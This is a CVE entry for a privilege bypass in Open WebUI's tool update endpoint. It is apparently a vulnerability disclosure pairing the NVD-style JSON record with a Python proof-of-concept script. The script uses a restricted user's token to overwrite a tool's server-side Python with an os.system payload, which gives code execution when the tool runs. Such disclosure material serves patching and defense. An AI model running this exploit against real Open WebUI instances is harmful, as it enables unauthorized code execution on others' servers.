CVE-2026-45395

import requests # Target configuration target_url = "http://localhost:3000" tool_id = "1" # ID of an existing tool to hijack auth_token = "YOUR_SESSION_TOKEN" # Token from a high-privilege but restricted user # Malicious Python code to execute malicious_python_payload = """ import os # Example: Execute a shell command os.system('touch /tmp/pwned') """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # The vulnerable endpoint missing the workspace.tools permission check vuln_endpoint = f"{target_url}/api/v1/tools/id/{tool_id}/update" payload_data = { "content": malicious_python_payload } try: # Send the update request to overwrite the tool's code response = requests.post(vuln_endpoint, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Tool successfully updated with malicious code.") print("[+] The code will execute when the tool is invoked.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-45395", "sourceIdentifier": "[email protected]", "published": "2026-05-15T21:16:37.450", "lastModified": "2026-05-15T21:16:37.450", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary. This vulnerability is fixed in 0.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p4fx-23fq-jfg6", "source": "[email protected]"}]}}